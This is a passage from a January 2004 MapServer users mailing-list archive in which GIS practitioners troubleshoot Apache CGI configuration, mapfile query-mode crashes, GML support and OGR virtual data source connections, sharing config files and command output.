        libproj.so.0 =>  /usr/local/lib/libproj.so.0
        libtiff.so =>    /usr/openwin/lib/libtiff.so
        libfreetype.so.6 =>      /usr/local/lib/libfreetype.so.6
        libpng.so.3 =>   /usr/local/lib/libpng.so.3
        libgd.so.2 =>    /usr/local/lib/libgd.so.2
        libm.so.1 =>     /usr/lib/libm.so.1
        libc.so.1 =>     /usr/lib/libc.so.1
        libresolv.so.2 =>        /usr/lib/libresolv.so.2
        libnsl.so.1 =>   /usr/lib/libnsl.so.1
        libsocket.so.1 =>        /usr/lib/libsocket.so.1
        libXpm.so.4 =>   /usr/openwin/lib/libXpm.so.4
        libX11.so.4 =>   /usr/openwin/lib/libX11.so.4
        libdl.so.1 =>    /usr/lib/libdl.so.1
        libmp.so.2 =>    /usr/lib/libmp.so.2
        libXext.so.0 =>  /usr/openwin/lib/libXext.so.0
        symbol not found: SE_shape_get_num_parts                (./php_mapscript.so)


Your assisstance is appreciated

Regards

Rob



Robin Ellis
Information & Knowledge
Department of Natural Resources and Mines
PO Box 1167
Bundaberg QLD 4670
ph +61 7 4131 5771
fax +61 7 4131 5823
Robin.Ellis at nrm.qld.gov.au




************************************************************************
The information in this e-mail together with any attachments is
intended only for the person or entity to which it is addressed
and may contain confidential and/or privileged material.
Any form of review, disclosure, modification, distribution
and/or publication of this e-mail message is prohibited.  
If you have received this message in error, you are asked to
inform the sender as quickly as possible and delete this message
and any copies of this message from your computer and/or your
computer system network.  
************************************************************************




From gis at balkanu.com.au  Thu Jan 22 23:48:08 2004
From: gis at balkanu.com.au (Balkanu GIS)
Date: Fri, 23 Jan 2004 17:48:08 +1000
Subject: [Mapserver-users] (newbie): Win32 Apache error when calling Mapserv.exe
In-Reply-To: <200401221416.20877.nacional@cbs.umn.edu>
Message-ID: <000901c3e185$3ea92bc0$566b110a@cydn.net.au>

Thanks for your replies Tyler & Pericles,

Entering "mapserv.exe -v" did indeed return the output Pericles described
below, so the binary itself seems fine. 

I also thought (as you did Tyler) Apache was trying to display the file
rather than execute it. However, the /cgi-bin/ script alias seems correct.
I'm pretty sure though that it's a problem with the Apache config. I am
unfortunately as good as useless with properly understanding httpd.conf.
Here is the alias section of the file (note I am using here a particular
distribution of PHP/Apache called 'phpdev', hence the nonstandard folder
locations):

    Alias /icons/ "C:/phpdev/apache/icons/"

    
        Options Indexes MultiViews
        AllowOverride None
        Order allow,deny
        Allow from all
    

Alias /site/ "C:/phpdev/www/phpwebsite_en/"

    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    Allow from all
    DirectoryIndex index.php index.htm


Alias /maps/ "C:/phpdev/www/maps/"

    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    Allow from all
    DirectoryIndex index.php index.htm


Alias /tmp/ "C:/phpdev/www/tmp/"

    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    Allow from all
    DirectoryIndex index.php index.htm



Alias /forum/ "C:/phpdev/forum/"

    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    Allow from all
    DirectoryIndex index.php index.htm



Alias /private/ "C:/phpdev/private/"

    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    Allow from localhost 127.0.0.1


Alias /public/ "C:/phpdev/www/public/"

    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    Allow from all
    DirectoryIndex index.htm


Alias /phpdev/ "C:/phpdev/phpdev/"

    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    Allow from localhost 127.0.0.1
    DirectoryIndex index.htm


Alias /phpmyadmin/ "C:/phpdev/phpmyadmin/"

    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    Allow from localhost 127.0.0.1
    DirectoryIndex index.php



#manuals (if installed)

Alias /apache "C:/phpdev/man/apache/"
Alias /php "C:/phpdev/man/php"
Alias /gtk "C:/phpdev/man/gtk"
Alias /mysql "C:/phpdev/man/mysql"

    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    Allow from localhost 127.0.0.1
    DirectoryIndex index.html index.html.var index.htm default.htm
default.html



    #
    # ScriptAlias: This controls which directories contain server scripts.
    # ScriptAliases are essentially the same as Aliases, except that
    # documents in the realname directory are treated as applications and
    # run by the server when requested rather than as documents sent to the
client.
    # The same rules about trailing "/" apply to ScriptAlias directives as
to
    # Alias.
    #
    ScriptAlias /cgi-bin/ "C:/phpdev/www/cgi-bin/"

    #
    # "@@ServerRoot@@/cgi-bin" should be changed to whatever your
ScriptAliased
    # CGI directory exists, if you have that configured.
    #




  Sethandler perl-script
  PerlHandler Apache::Registry
  PerlSendHeader On
  
  Options All MultiViews
    AllowOverride None
        Order deny,allow
        Allow from all
    



# End of aliases.

==================
Yuri


-----Original Message-----
From: Pericles S. Nacionales [mailto:nacional at cbs.umn.edu] 
Sent: Friday, 23 January 2004 06:16
To: Tyler Mitchell; Balkanu GIS
Cc: Mapserver-users at lists.gis.umn.edu;
mapserver-users-admin at lists.gis.umn.edu
Subject: Re: [Mapserver-users] (newbie): Win32 Apache error when calling
Mapserv.exe


In addition to what Tyler already said, run "mapserv.exe -v" from the
command 
prompt and see if it returns something like:

MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF 
SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT 
SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL 
INPUT=SHAPEFILE

If not, something is wrong with your executable.  But then again it could
just 
be permission problems.  Or perhaps you've locked down your CGI-BIN
directory 
so that only scripts with certain extensions would run?

By the way, you might want to upgrade your apache to version 1.3.29 or 
something.  I think there were some security issues on 1.3.27--not good if 
your computer is connected to the rest of this wacky world.

-Perry N.


On Thursday 22 January 2004 10:18 am, Tyler Mitchell wrote:
> Is Apache properly configure to execute files in 
> c:/phpdev/www/cgi-bin/mapserv.exe ? It looks like it is not trying to 
> execute the file, but trying to display the contents.  You may want to 
> first try putting mapserv.exe in c:\program files\apache 
> group\apache\cgi-bin and try it there instead, since the permissions 
> and execution flags are already set in httpd.conf.  Hmm...but you must 
> have change the Alias.  Show us the parts of httpd.conf that you 
> changed.
>
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/21/2004 09:48:20 
> PM:
> > Hi all,
> >
> > I'm just getting started with Mapserver (well, not even that!) - I 
> > have Apache 1.3.27 running on Windows2000 and am trying to run the 
> > Mapserver
>
> 4.0
>
> > demo application.
> >
> > I try to test the MapServer application according to the tutorial 
> > instructions, with the URL http://localhost/cgi-bin/mapserv.exe?
> > And Apache returns the following error 500:
> > [error] Unrecognized character \x90 at c:/phpdev/www/cgi-bin/mapserv.exe
> > line 1.
> >
> > Can anyone give a suggestion what might be wrong?
> >
> > TIA
> >
> > Yuri Banens
> >
> >
> > _______________________________________________
> > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

-- 
Pericles S. Nacionales
Dept. of Ecology, Evolution & Behavior
College of Biological Sciences
University of Minnesota

e-mail: nacional at cbs.umn.edu
phone: 612 624 6713






From nacional at cbs.umn.edu  Fri Jan 23 00:09:29 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Fri, 23 Jan 2004 02:09:29 -0600
Subject: [Mapserver-users] (newbie): Win32 Apache error when calling
 Mapserv.exe
In-Reply-To: <000901c3e185$3ea92bc0$566b110a@cydn.net.au>
References: <000901c3e185$3ea92bc0$566b110a@cydn.net.au>
Message-ID: <1074845369.14923.13.camel@localhost>

Yuri,

Check the last two lines of your apache config snippet...

>     
> 

If this is how they appear in your config file, switch them.

  


This could be the cause of your problem.

> If not, something is wrong with your executable.  But then again it could
> just 
> be permission problems.  Or perhaps you've locked down your CGI-BIN
> directory 
> so that only scripts with certain extensions would run?

-Perry N.

-- 
"He's no geek.His tan's too good." -Benjamin Choate



From andrew at redink.demon.co.uk  Fri Jan 23 02:59:20 2004
From: andrew at redink.demon.co.uk (Andrew Larcombe)
Date: Fri, 23 Jan 2004 10:59:20 -0000 (GMT)
Subject: [Mapserver-users] Mapserver and GML.
Message-ID: <34963.62.49.2.61.1074855560.squirrel@www.andrewlarcombe.uklinux.net>

Hello all.

I have some questions about the use of GML within Mapserver. I am going to
produce a schema for some data which contains geographical data. I
understand that Mapserver uses OGR to read GML and I've read Frank
Warmedam's "Practical GML Interoperability" -
http://gdal.velocet.ca/~warmerda/projects/gml/gml_interop.html - although
I'm  not sure how old and still relevent the document is.

My questions basically boil down to: 1. Which versions of GML does
Mapserver support? 2. Can I use 3-d coordinates, and if so how are these
handled? 3. Can I use the Mapserver CLASS to select a subset of records
within the GML to display?

Many thanks for your time.

Andrew


From eduardo at consultoria.eti.br  Fri Jan 23 04:31:32 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Fri, 23 Jan 2004 10:31:32 -0200
Subject: [Mapserver-users] Strange behavior on query mode (CGI)
In-Reply-To: 
References: 
Message-ID: <40111424.1060605@consultoria.eti.br>

http://192.168.0.99/cgi-bin/mapserv?zoom=1&mode=browse&mode=nquery&img.x=224&img.y=173&layer=layLagos&layer=layCober&layer=layRede&layer=layLote&layer=layQuadra&map=%2Fservidor%2Fraiz_apache%2Fferramentas%2Floteamentos%2Floteamento_002.map&imgxy=299.5+199.5&imgext=2257.047013+366.011000+3083.891987+917.756000&program=%2Fcgi-bin%2Fmapserv&app_title=Residencial+Villa+Lombarda&savequery=true 


but it works if I use only TEMPLATE, FOOTER and HEADER for the LAYER .

If I put HEADER and FOOTER for the object WEB, it crashes.

Eduardo

Steve Lime escreveu:

> What does the offending call look like? Can you send the URL?
>
>  
>
>>>> "Eduardo Patto Kanegae"  1/22/2004 
>>>> 10:41:44 AM >>>
>>>>       
>>>
> I'm sorry...
> it's MapServer 4.0.1 for Linux ( on a Suse 9 box) configured with:
>
> $ ./configure --prefix=/usr/local --host --with-jpeg=/usr/local/bin 
> --with-freetype=/usr/include/freetype2 --with-zlib=/usr 
> --with-png=/usr --with-gd=/usr --with-xpm=/usr/X11R6/lib 
> --with-pdf=/usr/local/mapserver-linux-distro/deps/PDFlib-5.0.2-Linux/bind/c 
> --with-tiff=/usr/local --with-eppl --with-proj=/usr/local 
> --with-threads --with-ogr --with-gdal --without-ming --with-wfs 
> --with-wfsclient --with-wms --with-wmsclient 
> --with-curl-config=/usr/local/bin  --with-curl=/usr/local/lib 
> --enable-ignore-missing-data --disable-debug 
> --with-php=/usr/local/mapserver-linux-distro/deps/php-4.3.4
> when run $ mapserv -v , I got:
> MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF 
> SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER 
> SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=TIFF 
> INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
>
> ----- the mapfile --------
> MAP
>    NAME "loteamento_002" # VARIAVEL
>    EXTENT  2382.569 366.011 2958.370 917.756 # VARIAVEL
>    FONTSET "/servidor/raiz_apache/ferramentas/loteamentos/fontset.txt"
>    SYMBOLSET 
> "/servidor/raiz_apache/ferramentas/loteamentos/symbolset.sym"
>    IMAGECOLOR  255 255 255    IMAGETYPE    PNG # tipo das imagens a 
> serem geradas
>    INTERLACE    ON
>    SHAPEPATH    
> "/servidor/raiz_apache/ferramentas/loteamentos/loteamento_002"# VARIAVEL
>    SIZE 600 400
>    STATUS ON
>    UNITS METERS
>       QUERYMAP
>        COLOR 255 255 0 #color of the hilited itens in querymap
>        SIZE 300 200 #size of the querymap
>        STATUS ON
>        STYLE HILITE #style of the selected itens on the query
>    END
>       WEB
>        #EMPTY "/ferramentas/loteamentos/web_empty.html"
>        #ERROR "/ferramentas/loteamentos/web_error.html"
>        #HEADER 
> "/servidor/raiz_apache/ferramentas/loteamentos/web_header.html"
>        #FOOTER 
> "/servidor/raiz_apache/ferramentas/loteamentos/web_footer.html"
>        IMAGEPATH     "/servidor/raiz_apache/tmp/"
>        IMAGEURL    "/tmp/"
>        LOG     "/servidor/raiz_apache/tmp/loteamento_002.log" # VARIAVEL
>        MINSCALE 100          MAXSCALE 10000
>        TEMPLATE 
> "/servidor/raiz_apache/ferramentas/loteamentos/web_template.html"
>    END
>       SCALEBAR # inicia a defini??o do objeto ScaleBar ( Barra de Escala)
>        COLOR          0 0 0 # cor da barra de escala
>        IMAGECOLOR    255 255 255 #cor de fundo da imagem da barra de 
> escala
>        INTERVALS      3 #n?mero de segmentos que a barra de escala ter?
>        LABEL # inicia a defini??o de objeto Label . AVISO: o objeto 
> ScaleBar aceita apenas labels do tipo BITMAP
>            COLOR        0 0 0 # cor do texto
>            SIZE        SMALL # tamanho do texto
>        END # finaliza MAP_SCALEBAR_LABEL
>        OUTLINECOLOR  0 0 0 # cor de cortorno da barra de escala
>        SIZE          300 3 # larguraXaltura da barra de escala
>        STATUS        ON # define se a imagem tempor?ria da Barra de 
> escala dever? ser criada
>        STYLE          0 # estilo da barra de escala : 0 = bar style | 
> 1 = line style
>        UNITS          METERS #unidade dos valores da barra de escala
>    END # finaliza MAP_SCALEBAR
>       LEGEND # inicia a defini??o do objeto LEGEND
>        IMAGECOLOR    255 255 255 #cor de fundo da imagem da legenda
>        LABEL # inicia a defini??o de objeto LABEL
>            ANTIALIAS    TRUE # usar antialias? fica melhor, e 
> consequentemente um pouco maior(o tamanho em bytes da imagem) q textos 
> sem antialias
>            COLOR        0 0 0 #cor do texto
>        #    FONT        "arial" # nome da fonte( previamente definida 
> no fontset)
>            SIZE        SMALL #8 # tamanho do texto
>            TYPE        BITMAP #TRUETYPE # tipo do texto
>        END
>        KEYSIZE        15 12 # tamanho dos simbolos da legenda ( 
> larguraXaltura )
>        STATUS        ON # define se a imagem temporaria da legenda 
> deve ser criada
>    END # finaliza MAP_LEGEND
>
>    LAYER
>        NAME    "layLoteamento"
>        TYPE    POLYGON
>        DATA    "loteamento"
>        STATUS  DEFAULT
>        CLASS
>            NAME    "Divisa loteamento"
>            OUTLINECOLOR 128 128 128            COLOR        -1 -1 -1
>        END
>    END
>       LAYER
>        NAME    "layQuadra"
>        TYPE    POLYGON
>        DATA    "quadra"
>        STATUS  OFF
>        CLASS
>            NAME    "Quadras"
>            OUTLINECOLOR 32 32 32
>            COLOR        255 247 145
>        END
>    END
>       LAYER
>        NAME    "layLote"
>        TYPE    POLYGON
>        DATA    "lotes"
>        STATUS  OFF
>        CLASSITEM "STATUS"
>        HEADER 
> "/servidor/raiz_apache/ferramentas/loteamentos/lote_header.htm"
>         TEMPLATE 
> "/servidor/raiz_apache/ferramentas/loteamentos/lote_template.htm"
>        FOOTER 
> "/servidor/raiz_apache/ferramentas/loteamentos/lote_footer.htm"
>        CLASS
>            EXPRESSION "V"
>            NAME    "Vendido"
>            OUTLINECOLOR 64 64 64
>            COLOR        255 170 170
>        END
>        CLASS
>            EXPRESSION "R"
>            NAME    "Reservado"
>            OUTLINECOLOR 64 64 64
>            COLOR        255 168 125
>        END
>        CLASS
>            EXPRESSION "L"
>            NAME    "Livre"
>            OUTLINECOLOR 64 64 64
>            COLOR        170 255 170
>        END
>    END
>       LAYER
>        NAME    "layLote"
>        TYPE    ANNOTATION
>        DATA    "lotes"
>        STATUS  OFF
>        CLASSITEM "STATUS"
>        LABELMAXSCALE 2000
>        SYMBOLSCALE 500
>        CLASS
>            EXPRESSION "V"
>            OUTLINECOLOR -1 -1 -1
>            COLOR        -1 -1 -1
>            TEXT "Vendido"
>            LABEL
>                ANGLE 60
>                ANTIALIAS TRUE
>                TYPE TRUETYPE
>                SIZE 20
>                FONT "arial"
>                COLOR 0 0 0                OUTLINECOLOR 255 32 32
>                FORCE TRUE
>                POSITION CC
>                PARTIALS TRUE
>                MAXSIZE 32
>                MINSIZE 8
>            END
>        END
>        CLASS
>            EXPRESSION "R"
>            OUTLINECOLOR -1 -1 -1
>            COLOR        -1 -1 -1
>            TEXT "Reservado"
>            LABEL
>                BACKGROUNDCOLOR 255 255 0
>                BACKGROUNDSHADOWCOLOR 192 192 192
>                BACKGROUNDSHADOWSIZE 2 3
>                ANGLE -20
>                ANTIALIAS TRUE
>                TYPE TRUETYPE
>                SIZE 12
>                FONT "arial"
>                COLOR 0 0 0                FORCE TRUE
>                POSITION CC
>                PARTIALS TRUE
>                MAXSIZE 28
>                MINSIZE 8
>            END
>        END
>        CLASS
>            EXPRESSION "L"
>            OUTLINECOLOR -1 -1 -1
>            COLOR        -1 -1 -1
>            TEXT "Livre"
>            LABEL
>                ANGLE 0
>                ANTIALIAS TRUE
>                TYPE TRUETYPE
>                SIZE 10
>                FONT "arial"
>                COLOR 0 0 0                FORCE TRUE
>                SHADOWCOLOR 64 128 255
>                SHADOWSIZE 1 1
>                POSITION CC
>                PARTIALS TRUE
>                MAXSIZE 24
>                MINSIZE 8
>            END
>        END
>    END
>       LAYER
>        NAME    "layRede"
>        TYPE    LINE
>        DATA    "rede"
>        STATUS  OFF
>        CLASSITEM   "TIPO"
>        CLASS
>            EXPRESSION  "Esgoto"
>            NAME    "Esgoto"            COLOR        137 112 68
>            SYMBOL "BOLA"
>            SIZE 4
>        END
>        CLASS
>            EXPRESSION  "Galeria"
>            NAME    "Galeria"            COLOR        10 255 50
>            SYMBOL "BOLA"
>            SIZE 3
>        END
>        CLASS
>            EXPRESSION  "Agua"
>            NAME    "Agua"            COLOR        0 0 255
>            SYMBOL "BOLA"
>            SIZE 2
>        END
>    END
>       LAYER
>        NAME    "layCober"
>        TYPE    POLYGON
>        DATA    "cobertura"
>        STATUS  OFF
>        CLASSITEM "TIPO"
>        CLASS
>            EXPRESSION "Institucional"
>            NAME    "Institucional"
>            COLOR        110 110 110
>        END
>        CLASS
>            EXPRESSION "?rea verde"
>            NAME    "?rea verde"
>            COLOR        38 115 0
>            SYMBOL "ARVORE"
>             SIZE 5
>        END
>    END
>       LAYER
>        NAME    "layLagos"
>        TYPE    POLYGON
>        DATA    "lagos"
>        STATUS  OFF
>        CLASS
>            NAME    "Lagos"
>            COLOR        151 219 242
>        END
>    END
>    END
> -----------------
>
>
> Eduardo Patto Kanegae
> +Homepage:http://www.consultoria.eti.br   ( BRASIL )
> +Perfil:http://www.consultoria.eti.br/ptbr/epk.php
> *F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - 
> "Discuss?es relacionadas ao MapServer"
> *ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do 
> Brasil com dados censit?rios"
> ***************************************
> ***Fim da Mensagem / End of Message ***
> ***************************************
>
>
>
>
>
> On Thu, 22 Jan 2004 10:15:32 -0600, "Steve Lime" 
>  escreveu:
>
>  
>
>> De: "Steve Lime" 
>> Data: Thu, 22 Jan 2004 10:15:32 -0600
>> Para: 
>> Assunto: Re: [Mapserver-users] Strange behavior on query mode (CGI)
>>
>> What version? Got a sample mapfile?
>>
>>   
>>
>>>>> "Eduardo Patto Kanegae"  1/22/2004 
>>>>> 9:49:51 AM >>>
>>>>>         
>>>>
>> today I built a very simple Mapserver CGI application and when I 
>> select the query mode and click an object, I only got "Internal 
>> Server Error" and the apache log only says "Premature end of script 
>> headers".
>>
>> so I removed the HEADER and FOOTER parameters of the WEB object in 
>> the mapfile, transfered the content
>> of the header file to the layer_header file and the content of the 
>> footer file to the layer_footer file,
>>
>> and then tried again.... so, it finally works!
>>
>> what is the problem here?
>>
>>
>> Eduardo Patto Kanegae
>> +Homepage:http://www.consultoria.eti.br   ( BRASIL )
>> +Perfil:http://www.consultoria.eti.br/ptbr/epk.php
>> *F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ 
>> - "Discuss?es relacionadas ao MapServer"
>> *ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas 
>> do Brasil com dados censit?rios"
>> ***************************************
>> ***Fim da Mensagem / End of Message ***
>> ***************************************
>>
>>
>>
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu 
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>
>>
>>   
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
>  
>

-- 
Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - 
"Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do 
Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************


From warmerdam at pobox.com  Fri Jan 23 07:15:33 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 23 Jan 2004 10:15:33 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
In-Reply-To: <3BCB64E6682DD24FB29B7135263B0C6C2006@vamerrifms01.gsm1900.org>
References: <3BCB64E6682DD24FB29B7135263B0C6C2006@vamerrifms01.gsm1900.org>
Message-ID: <40113A95.2020101@pobox.com>

Arthur, John wrote:
> I just wanted you all to know that H?ryk is not alone.  I too, am having the
> exact same issue.  Works fine with ogrinfo, but not with MapServer.  I only
> have one version of gdal11.dll, so there should be no issues there.  
> 
> Could the problem be that the precompiled version that DM provides, was
> compiled against a different version of gdal than what is provided by the
> OpenEV_FW_163.zip?  Because the gdal11.dll contained in mapserver zip is
> different that the version in the OpenEV_FW_163.zip.

John,

No MapServer is built with exactly the same build of GDAL found in OpenEV_FW_163.
I would add that the way MapServer is currently built against GDAL on windows,
a bunch of the OGR stuff is statically linked into mapserver executables, as
opposed to being used from gdal11.dll.  Because of that, it is generally not
sufficient to replace a gdal11.dll to upgrade mapserver to a new/different
version of OGR.

This is something I would dearly like to fix in MapServers' windows build structure,
but to accomplish it (practically speaking) we almost need to rewrite the
mapogr.cpp module to use the OGR C API and to reexamine the use of some of the
style related definitions in mapogr.cpp.  The use of static OGR libraries in
MapServer causes me no end of headaches.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From hjulien at nrcan.gc.ca  Fri Jan 23 07:12:32 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Fri, 23 Jan 2004 10:12:32 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F79004@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi,
I tried it and I don't get the table content!

Firt try:
D:\WebScripts\MapServer>ogrinfo
D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf

ERROR 4: Update access not supported for VRT datasources.
Had to open data source read-only.
INFO: Open of
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
using driver `VRT' successful.
1: MGWI_TBLLOC (Point)



Second try with the table name:
D:\WebScripts\MapServer>ogrinfo
D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc

ERROR 4: Update access not supported for VRT datasources.
Had to open data source read-only.
INFO: Open of
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
using driver `VRT' successful.



The table doesn't seem to be coming through! Any idea?

I tried the new build that Paul made available this morning and I get the
same problem! 

http://www2.dmsolutions.ca/netbin/mapserv.zip




H?ryk



-----Message d'origine-----
De : Zak James [mailto:zak-ms at hoppsan.org]
Envoy? : Thursday, January 22, 2004 6:49 PM
? : 'Mapserver-users at lists.gis.umn.edu'
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Heryk,

If the connection is ok, as ogrinfo seems to suggest, I think the  
likely error is in the format of the SrcLayer entry. Your ogrinfo  
output is just the table name. If you enter

ogrinfo file.ovf tablename

you should get the table contents and you can see whether the geometry  
fields are coming through as you have specified them.

One other possibility is that the environment variables set in your  
shell and available to ogrinfo are not available to the mapserver cgi.  
I saw this problem in connecting to an oracle database on a linux  
system. I'm not sure if this applies to IIS but it's relevant for  
apache.

zak
--
Zak James
Applications and Software Development
DM Solutions Group Inc.
http://www.dmsolutions.ca


On Jan 22, 2004, at 5:46 PM, Arthur, John wrote:

> I just wanted you all to know that H?ryk is not alone.  I too, am  
> having the
> exact same issue.  Works fine with ogrinfo, but not with MapServer.  I  
> only
> have one version of gdal11.dll, so there should be no issues there.
>
> Could the problem be that the precompiled version that DM provides, was
> compiled against a different version of gdal than what is provided by  
> the
> OpenEV_FW_163.zip?  Because the gdal11.dll contained in mapserver zip  
> is
> different that the version in the OpenEV_FW_163.zip.
>
> -----Original Message-----
> From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Sent: Thursday, January 22, 2004 4:59 PM
> To: 'spencer at dmsolutions.ca'
> Cc: 'Normand Savard'; 'Frank Warmerdam';
> 'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin
> Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
>
>
> Hi,
> Yes the ovf file works with ogrinfo.
> Martin checked the gdal11.dll and that does not seem to be the problem.
>
>
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 1: MGWI_TBLLOC (Point)
>
>
> As suggested, I'll "return to my mapfile"!
>
> I now have a new understanding of one of the Virtual Spatial Data
> prerequisites: "that you are not afraid to figure things out"!!
>
> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData)
>
> :-/
>
> H?ryk
>
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Thursday, January 22, 2004 3:09 PM
> ? : Julien, Heryk
> Cc : 'Mapserver-users at lists.gis.umn.edu'
> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
>
>
> Does the ovf file work with ogrinfo?  That is the first place to start
> because it will give you more detailed debugging information.  Once  
> that
> works, then you should return to the map file.  Until you can get the
> ovf file to work with ogrinfo, you are not going to get useful  
> debugging
> information because MapServer will continue to tell you that it can't
> draw the layer with misleading information.
>
> BTW, one other thing to check .. gdal11.dll may appear in multiple
> places in your system and you may not be using the one you think you
> are.  Search your system for this file and make sure they are all the
> same, or that you are certain that mapserver is using the right one.
>
> Cheers,
>
> Paul
>
> Julien, Heryk wrote:
>
>> Hi Norm,
>> That was a cut and paste error in my email.
>> The virtual file is okay: mgwi.ovf
>>
>> I tried the mapfile LABELITEM suggestion:" may need to use table.name  
>> or
>> just name depending on your OVF file".
>>
>> I also tried a relative and absolute CONNECTION in the mapfile.
>>
>> I keep on getting the following message:
>> msDrawMap(): Image handling error. Failed to draw layer named
> 'MGWI_TBLLOC'.
>>
>> msOGRFileOpen(): OGR error. Open failed for OGR connection
>> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'.  
>> File
> not
>> found or unsupported format.
>>
>>
>> H?ryk
>>
>>
>>
>> -----Message d'origine-----
>> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>> Envoy? : Thursday, January 22, 2004 1:48 PM
>> ? : Julien, Heryk
>> Cc : 'spencer at dmsolutions.ca'; 'Frank Warmerdam';
>> 'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin
>> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>> Connectiontype)
>>
>>
>> Julien,
>>
>> What is the exact name of your "ovf" file?  Because the name you
>> specified in the "CONNECTION" parameter in the map file does not match
>> the one given for you "ovf" file.
>>
>> See in your email below:  "Here is my virtual file (mgw.ovf):"
>>
>> See your "CONNECTION" parameter into your map file for your specific
>> virtual layer:
>>
>> ...
>> CONNECTIONTYPE OGR
>> CONNECTION "mgwi.ovf"
>>
>> ...
>>
>> Norm
>>
>>
>> Julien, Heryk wrote:
>>
>>
>>> Hi to all,
>>>
>>> I replaced my version of Mapserver with a precompiled one. I also
> installed
>>> the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.
>>>
>>> As suggested by Frank Warmerdam I used the following SrcDataSource  
>>> tag in
>>> the virtual file:
>>> ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER  
>>> is the
>>> DSN for my ODBC data source.
>>>
>>> Here is the orginfo output:
>>>
>>> D:\WebScripts\MapServer>ogrinfo --formats
>>> Loaded OGR Format Drivers:
>>> -> "ESRI Shapefile" (read/write)
>>> -> "UK .NTF" (readonly)
>>> -> "SDTS" (readonly)
>>> -> "TIGER" (read/write)
>>> -> "S57" (read/write)
>>> -> "MapInfo File" (read/write)
>>> -> "DGN" (read/write)
>>> -> "VRT" (readonly)
>>> -> "AVCBin" (readonly)
>>> -> "REC" (readonly)
>>> -> "Memory" (read/write)
>>> -> "GML" (read/write)
>>> -> "ODBC" (read/write)
>>> -> "OGDI" (readonly)
